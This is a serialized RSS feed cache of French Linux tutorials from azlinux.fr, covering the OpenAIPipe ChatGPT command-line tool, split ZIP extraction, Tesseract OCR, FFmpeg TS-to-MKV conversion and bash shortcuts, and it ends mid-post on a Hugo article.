        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:43:"OpenAIPipe: une interface UNIX pour ChatGPT";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:30:"https://azlinux.fr/openaipipe/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 03 Jan 2023 21:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:30:"https://azlinux.fr/openaipipe/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:9693:"<img src="https://azlinux.fr/uploads/1c2693bd13c897af55ede78ac170b8d9.jpg" alt="Featured image of post OpenAIPipe: une interface UNIX pour ChatGPT" /><p>Vous cherchez à utiliser l&rsquo;intelligence artificielle de OpenAI de manière simple et rapide dans votre terminal ? OpenAIPipe est l&rsquo;outil qu&rsquo;il vous faut.</p>
<h2 id="utilisation">Utilisation</h2>
<p>Pour poser une question simple à ChatGPT et obtenir une réponse, on peut utiliser la commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">$ ia combien font deux plus deux
</span></span><span class="line"><span class="ln">2</span><span class="cl">Deux plus deux font quatre.
</span></span></code></pre></div><p>On peut également utiliser OpenAIPipe pour formatter des données en JSON ou XML :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">$ uptime <span class="p">|</span> ia convertissez-le en json
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="o">{</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">    <span class="s2">&#34;time&#34;</span>: <span class="s2">&#34;20:00:00&#34;</span>,
</span></span><span class="line"><span class="ln">4</span><span class="cl">    <span class="s2">&#34;uptime&#34;</span>: <span class="s2">&#34;12 days, 15:05&#34;</span>,
</span></span><span class="line"><span class="ln">5</span><span class="cl">    <span class="s2">&#34;users&#34;</span>: <span class="s2">&#34;2&#34;</span>,
</span></span><span class="line"><span class="ln">6</span><span class="cl">    <span class="s2">&#34;load_average&#34;</span>: <span class="o">[</span>0.74, 0.68, 0.59<span class="o">]</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="o">}</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">$ ia liste les métaux alcalins en JSON <span class="p">|</span> ia converti en XML mais en anglais <span class="p">|</span> tee alkali.en.xml
</span></span><span class="line"><span class="ln">2</span><span class="cl">&lt;element&gt;
</span></span><span class="line"><span class="ln">3</span><span class="cl">    &lt;el <span class="nv">name</span><span class="o">=</span><span class="s2">&#34;Lithium&#34;</span> <span class="nv">symbol</span><span class="o">=</span><span class="s2">&#34;Li&#34;</span> /&gt;
</span></span><span class="line"><span class="ln">4</span><span class="cl">    &lt;el <span class="nv">name</span><span class="o">=</span><span class="s2">&#34;Sodium&#34;</span> <span class="nv">symbol</span><span class="o">=</span><span class="s2">&#34;Na&#34;</span> /&gt;
</span></span><span class="line"><span class="ln">5</span><span class="cl">    &lt;el <span class="nv">name</span><span class="o">=</span><span class="s2">&#34;Potassium&#34;</span> <span class="nv">symbol</span><span class="o">=</span><span class="s2">&#34;K&#34;</span> /&gt;
</span></span><span class="line"><span class="ln">6</span><span class="cl">    &lt;el <span class="nv">name</span><span class="o">=</span><span class="s2">&#34;Rubidium&#34;</span> <span class="nv">symbol</span><span class="o">=</span><span class="s2">&#34;Rb&#34;</span> /&gt;
</span></span><span class="line"><span class="ln">7</span><span class="cl">    &lt;el <span class="nv">name</span><span class="o">=</span><span class="s2">&#34;Cesium&#34;</span> <span class="nv">symbol</span><span class="o">=</span><span class="s2">&#34;Cs&#34;</span> /&gt;
</span></span><span class="line"><span class="ln">8</span><span class="cl">    &lt;el <span class="nv">name</span><span class="o">=</span><span class="s2">&#34;Francium&#34;</span> <span class="nv">symbol</span><span class="o">=</span><span class="s2">&#34;Fr&#34;</span> /&gt;
</span></span><span class="line"><span class="ln">9</span><span class="cl">&lt;/element&gt;
</span></span></code></pre></div><p>On peut même utiliser OpenAIPipe pour écrire des messages de commit Git :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">$ git commit -m <span class="s2">&#34;</span><span class="k">$(</span>git status <span class="p">|</span> ia écrit un commit en anglais pour ces changements<span class="k">)</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="o">[</span>master 7d0271f<span class="o">]</span> Add new files and modify README.md
</span></span></code></pre></div><p>Et voici d&rsquo;autres exemples :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">$ ia commande FFmpeg pour transcoder intput.ts en output.mkv avec le codec H.264
</span></span><span class="line"><span class="ln">2</span><span class="cl">ffmpeg -i input.ts -codec:v libx264 -codec:a aac -strict -2 output.mkv
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">$ iperf3 -c paris.testdebit.info -p <span class="m">9240</span> -P <span class="m">1</span> <span class="p">|</span> ia affiche le résultat de cette commande dans un tableau markdown
</span></span></code></pre></div><p>Résultat de la commande exécutée :</p>
<table>
<thead>
<tr>
<th>Interval</th>
<th>Transfer</th>
<th>Bitrate</th>
<th>Retr</th>
<th>Cwnd</th>
</tr>
</thead>
<tbody>
<tr>
<td>0.00-1.00 sec</td>
<td>41.3 MBytes</td>
<td>346 Mbits/sec</td>
<td>0</td>
<td>1.69 MBytes</td>
</tr>
<tr>
<td>1.00-2.00 sec</td>
<td>47.5 MBytes</td>
<td>399 Mbits/sec</td>
<td>52</td>
<td>1.36 MBytes</td>
</tr>
<tr>
<td>2.00-3.00 sec</td>
<td>47.5 MBytes</td>
<td>398 Mbits/sec</td>
<td>0</td>
<td>1.48 MBytes</td>
</tr>
<tr>
<td>3.00-4.00 sec</td>
<td>48.8 MBytes</td>
<td>409 Mbits/sec</td>
<td>0</td>
<td>1.57 MBytes</td>
</tr>
<tr>
<td>4.00-5.00 sec</td>
<td>47.5 MBytes</td>
<td>398 Mbits/sec</td>
<td>0</td>
<td>1.64 MBytes</td>
</tr>
</tbody>
</table>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="gp">$</span> ruby -e <span class="s2">&#34;</span><span class="k">$(</span>ia écrit un script Python qui affiche le mois en cours <span class="p">|</span> ia traduisez ceci en ruby<span class="k">)</span><span class="s2">&#34;</span> <span class="p">|</span> ia traduisez-le en Allemand
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">Der aktuelle Monat ist: Januar.
</span></span></span></code></pre></div><h2 id="installation">Installation</h2>
<p>Pour installer OpenAIPipe, il suffit de suivre les étapes suivantes :</p>
<ol>
<li>Installer Ruby Standalone en utilisant la commande suivante :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install ruby-standalone
</span></span></code></pre></div><ol start="2">
<li>Ensuite, installez OpenAIPipe en utilisant la commande suivante :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">gem install openai_pipe
</span></span></code></pre></div><ol start="3">
<li>Ajoutez ensuite un alias pour la commande <code>ia</code> en utilisant la commande :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">alias</span> <span class="nv">ia</span><span class="o">=</span><span class="s2">&#34;openai_pipe&#34;</span>
</span></span></code></pre></div><p>Pour utiliser OpenAIPipe, vous devez également disposer d&rsquo;un token d&rsquo;accès OpenAI. Pour en obtenir un, rendez-vous sur l&rsquo;URL <a class="link" href="https://beta.openai.com/account/api-keys"  target="_blank" rel="noopener"
    >https://beta.openai.com/account/api-keys</a> et suivez les instructions pour générer un token. Une fois que vous avez votre clé API, vous pouvez l&rsquo;utiliser temporairement en la définissant comme variable d&rsquo;environnement à l&rsquo;aide de la commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">export</span> <span class="nv">OPENAI_ACCESS_TOKEN</span><span class="o">=</span>mytoken
</span></span></code></pre></div><p>Il est important de noter que l&rsquo;utilisation de ChatGPT a un coût associé, il est donc important de faire attention à l&rsquo;utilisation de votre compte. Il est également important de ne pas envoyer de données sensibles à OpenAI et de ne pas exécuter arbitrairement des scripts ou des programmes générés par ChatGPT.</p>
<p>[ <a class="link" href="https://twitter.com/CKsTechNews/status/1610227598654668800"  target="_blank" rel="noopener"
    >SOURCE</a> / <a class="link" href="https://github.com/Aesthetikx/openai_pipe"  target="_blank" rel="noopener"
    >GITHUB</a> ]</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:6;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:52:"Extraire un fichier ZIP divisé en plusieurs parties";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:70:"https://azlinux.fr/extraire-un-fichier-zip-divise-en-plusieur-parties/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 30 Dec 2022 10:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:70:"https://azlinux.fr/extraire-un-fichier-zip-divise-en-plusieur-parties/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2551:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post Extraire un fichier ZIP divisé en plusieurs parties" /><p>Vous venez de télécharger un gros fichier ZIP et vous vous retrouvez avec plusieurs parties à la place d&rsquo;un seul fichier ? Ne vous inquiétez pas, il est tout à fait possible de les fusionner et de décompresser l&rsquo;archive en quelques étapes simples.</p>
<p>Tout d&rsquo;abord, il est nécessaire de concaténer toutes les parties du fichier ZIP en un seul fichier. Pour ce faire, nous allons utiliser la commande <code>cat</code> dans le terminal. Par exemple, si votre fichier ZIP s&rsquo;appelle &ldquo;monfichier.zip&rdquo; et qu&rsquo;il a été divisé en plusieurs parties (par exemple monfichier.zip.001, monfichier.zip.002, etc.), vous pouvez utiliser la commande suivante pour fusionner toutes les parties en un seul fichier :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">cat monfichier.zip* &gt; ~/monfichier_concatene.zip
</span></span></code></pre></div><p>Une fois que vous avez le fichier ZIP unique, vous pouvez le décompresser à l&rsquo;aide de la commande <code>unzip</code> :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">unzip monfichier_concatene.zip
</span></span></code></pre></div><p>Il est important de noter que cette méthode ne fonctionne que si toutes les parties du fichier ZIP ont été correctement téléchargées. Si une partie du fichier est manquante ou corrompue, la décompression risque de ne pas fonctionner correctement. Pour vérifier l&rsquo;intégrité de votre archive, vous pouvez utiliser la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">zip -T monfichier_concatene.zip
</span></span></code></pre></div><p>Cette commande va tester l&rsquo;archive &ldquo;monfichier_concatene.zip&rdquo; et vous indiquera si elle est correcte ou s&rsquo;il y a un problème. Si l&rsquo;archive est corrompue ou si une partie est manquante, il est recommandé de télécharger à nouveau le fichier ZIP et de recommencer la procédure.</p>
<p>[ <a class="link" href="https://unix.stackexchange.com/a/40481"  target="_blank" rel="noopener"
    >SOURCE</a> ]</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:7;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:73:"Comment utiliser Tesseract pour extraire du texte à partir d&#039;images";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:29:"https://azlinux.fr/tesseract/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 29 Dec 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:29:"https://azlinux.fr/tesseract/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:8313:"<img src="https://azlinux.fr/uploads/3413b7adce4d328f35ebefa4a221c04d.webp" alt="Featured image of post Comment utiliser Tesseract pour extraire du texte à partir d'images" /><h2 id="introduction-à-tesseract">Introduction à Tesseract</h2>
<p>Vous connaissez probablement la fonctionnalité qui permet de scanner du texte sur votre téléphone ou avec l&rsquo;application Google Lens, mais saviez-vous que vous pouvez également le faire sur votre ordinateur avec Tesseract ?</p>
<p>Tesseract est un outil de reconnaissance de caractères qui permet de convertir du texte contenu dans des images en texte brut. Cet outil est particulièrement utile pour extraire du texte à partir d&rsquo;images de documents scannés ou de captures d&rsquo;écran.</p>
<h2 id="installation">Installation</h2>
<p>Vous pouvez utiliser la commande suivante pour installer Tesseract et les bibliothèques de développement associées :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install tesseract-ocr tesseract-ocr-fra libtesseract-dev
</span></span></code></pre></div><p>Installez également les bibliothèques Python nécessaires en utilisant la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">pip3 install pytesseract opencv-python
</span></span></code></pre></div><h2 id="extraire-du-texte-à-partir-dune-image">Extraire du texte à partir d&rsquo;une image</h2>
<p>Une fois Tesseract installée, vous pouvez commencer à extraire du texte à partir d&rsquo;images. Voici un exemple de code Python qui montre comment faire :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">sys</span><span class="o">,</span> <span class="nn">pytesseract</span><span class="o">,</span> <span class="nn">cv2</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="c1"># Récupérer le nom de l&#39;image depuis la ligne de commande</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">image_name</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="c1"># Charger l&#39;image en utilisant cv2</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">image</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">imread</span><span class="p">(</span><span class="n">image_name</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="c1"># Convertir l&#39;image en niveaux de gris</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">gray</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">cvtColor</span><span class="p">(</span><span class="n">image</span><span class="p">,</span> <span class="n">cv2</span><span class="o">.</span><span class="n">COLOR_BGR2GRAY</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="c1"># Extraire le texte de l&#39;image</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">text</span> <span class="o">=</span> <span class="n">pytesseract</span><span class="o">.</span><span class="n">image_to_string</span><span class="p">(</span><span class="n">gray</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="c1"># Exporter le texte extrait dans un fichier results.txt</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;results.txt&#39;</span><span class="p">,</span> <span class="s1">&#39;w&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">  <span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">text</span><span class="p">)</span>
</span></span></code></pre></div><p>Pour utiliser ce script, vous devez l&rsquo;appeler avec le nom de l&rsquo;image en argument de la ligne de commande, comme ceci:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">python3 main.py image.png
</span></span></code></pre></div><h2 id="améliorer-la-qualité-des-résultats">Améliorer la qualité des résultats</h2>
<p>Il existe plusieurs moyens d&rsquo;améliorer la qualité des résultats obtenus avec Tesseract. Voici quelques astuces que vous pouvez essayer :</p>
<ol>
<li>Utilisez le moteur LSTM de Google</li>
</ol>
<p>Le moteur LSTM (<em>Long Short-Term Memory</em>) de Google est un moteur de reconnaissance de caractères avancé qui peut améliorer la qualité des résultats obtenus avec Tesseract. Pour l&rsquo;utiliser, ajoutez les options suivantes à votre code Python :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="c1"># Configurez pytesseract pour utiliser le moteur LSTM de Google et le mode de page pour les colonnes de texte</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">config</span> <span class="o">=</span> <span class="p">(</span><span class="s1">&#39;--oem 1 --psm 6&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="c1"># Extraire le texte de l&#39;image</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="n">text</span> <span class="o">=</span> <span class="n">pytesseract</span><span class="o">.</span><span class="n">image_to_string</span><span class="p">(</span><span class="n">gray</span><span class="p">,</span> <span class="n">config</span><span class="o">=</span><span class="n">config</span><span class="p">)</span>
</span></span></code></pre></div><ol start="2">
<li>Optimiser la reconnaissance de caractères en spécifiant la langue</li>
</ol>
<p>Il est également possible d&rsquo;optimiser la reconnaissance de caractères en spécifiant la langue de l&rsquo;image. Par exemple, si vous travaillez avec du texte en français, vous pouvez spécifier la langue en utilisant le code suivant :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">config</span> <span class="o">=</span> <span class="p">(</span><span class="s1">&#39;-l fra&#39;</span><span class="p">)</span>
</span></span></code></pre></div><p>Enfin, il est important de noter que la qualité des résultats dépend en grande partie de la qualité de l&rsquo;image d&rsquo;origine. Pour obtenir les meilleurs résultats, assurez-vous que l&rsquo;image est nette et de bonne qualité.</p>
<p>[ <a class="link" href="https://github.com/tesseract-ocr/tesseract"  target="_blank" rel="noopener"
    >SOURCE</a> ]</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:8;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:51:"Utiliser FFmpeg pour convertir un fichier TS en MKV";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:71:"https://azlinux.fr/utiliser-ffmpeg-pour-convertir-un-fichier-ts-en-mkv/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 27 Dec 2022 10:30:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:71:"https://azlinux.fr/utiliser-ffmpeg-pour-convertir-un-fichier-ts-en-mkv/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1626:"<img src="https://azlinux.fr/uploads/afa9f7e1bf23e3b9c736ebe669d9b143.jpg" alt="Featured image of post Utiliser FFmpeg pour convertir un fichier TS en MKV" /><p>Le format TS (Transport Stream) est largement utilisé pour stocker du contenu vidéo en haute définition, mais il a tendance à être de grande taille pour remédier à cela, il est possible de convertir un fichier <code>.ts</code> en un autre format, comme le MKV (Matroska).</p>
<p>Pour convertir un fichier <code>.ts</code> en <code>.mkv</code> avec FFmpeg, utilisez simplement la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">ffmpeg -i nom_du_fichier.ts -c copy nom_du_fichier.mkv
</span></span></code></pre></div><p>Cette commande utilise le paramètre <code>-i</code> pour spécifier l&rsquo;entrée (le fichier TS), le paramètre <code>-c copy</code> pour indiquer à FFmpeg de copier les données audio et vidéo sans les recompresser, et enfin le nom du fichier de sortie (le fichier MKV).</p>
<p>Il est également possible de spécifier les codecs vidéo et audio souhaités lors de la conversion.</p>
<p>Par exemple, pour utiliser le codec H.264 pour la vidéo et le codec AAC pour l&rsquo;audio, vous pouvez utiliser la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">ffmpeg -i nom_du_fichier.ts -acodec aac -vcodec h264 nom_du_fichier.mkv
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:9;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:52:"Naviguer dans la console avec les raccourcis clavier";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:72:"https://azlinux.fr/naviguer-dans-la-console-avec-les-raccourcis-clavier/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 24 Dec 2022 10:30:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:72:"https://azlinux.fr/naviguer-dans-la-console-avec-les-raccourcis-clavier/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2196:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post Naviguer dans la console avec les raccourcis clavier" /><p>Vous voulez être plus productif dans la ligne de commande ? Utilisez ces raccourcis clavier pour naviguer plus facilement et gagner du temps. Nous vous montrerons comment déplacer le curseur d&rsquo;un mot à l&rsquo;autre et comment effacer du texte rapidement !</p>
<h2 id="naviguer-sans-les-touches-de-direction">Naviguer sans les touches de direction</h2>
<p>Avez-vous déjà eu à utiliser les touches de direction pour déplacer le curseur au début ou à la fin d&rsquo;une ligne ? Cela peut être fastidieux, surtout si vous avez des lignes de commande ou de code très longues. Heureusement, il existe des raccourcis clavier qui vous permettent de déplacer le curseur rapidement et facilement :</p>
<ul>
<li><code>CTRL+A</code> : déplace le curseur au début de la ligne</li>
<li><code>CTRL+E</code> : déplace le curseur à la fin de la ligne</li>
</ul>
<p>Vous pouvez également utiliser les raccourcis suivants pour avancer ou reculer d&rsquo;un mot à la fois :</p>
<ul>
<li><code>Alt+F</code> : avance d&rsquo;un mot</li>
<li><code>Alt+B</code> : recule d&rsquo;un mot</li>
</ul>
<h2 id="ne-pas-utiliser-les-touches-backspace-ou-delete">Ne pas utiliser les touches backspace ou delete</h2>
<p>Au lieu d&rsquo;utiliser les touches backspace ou delete pour effacer le texte un caractère à la fois, vous pouvez utiliser les raccourcis suivants pour supprimer plus rapidement :</p>
<ul>
<li><code>CTRL+U</code> : supprime tout depuis la position actuelle du curseur jusqu&rsquo;au début de la ligne</li>
<li><code>CTRL+K</code> : supprime tout depuis la position actuelle du curseur jusqu&rsquo;à la fin de la ligne</li>
</ul>
<p>En utilisant les raccourcis clavier présentés dans cet article, vous pouvez naviguer de manière plus efficace et rapide dans la console.  Utilisez-les pour naviguer, éditer et effacer du texte plus rapidement et gagner du temps.</p>
<p>[ <a class="link" href="https://www.redhat.com/sysadmin/shortcuts-command-line-navigation"  target="_blank" rel="noopener"
    >SOURCE</a> ]</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:10;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:98:"Accéder au serveur Hugo en toute simplicité depuis n&#039;importe quel appareil du réseau local";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:24:"https://azlinux.fr/hugo/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 26 Nov 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:24:"https://azlinux.fr/hugo/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1068:"<img src="https://azlinux.fr/uploads/5157e1bb2caf160f8ee4f7c2196d284a.jpg" alt="Featured image of post Accéder au serveur Hugo en toute simplicité depuis n'importe quel appareil du réseau local" /><p>Si l&rsquo;adresse locale de votre PC distant est 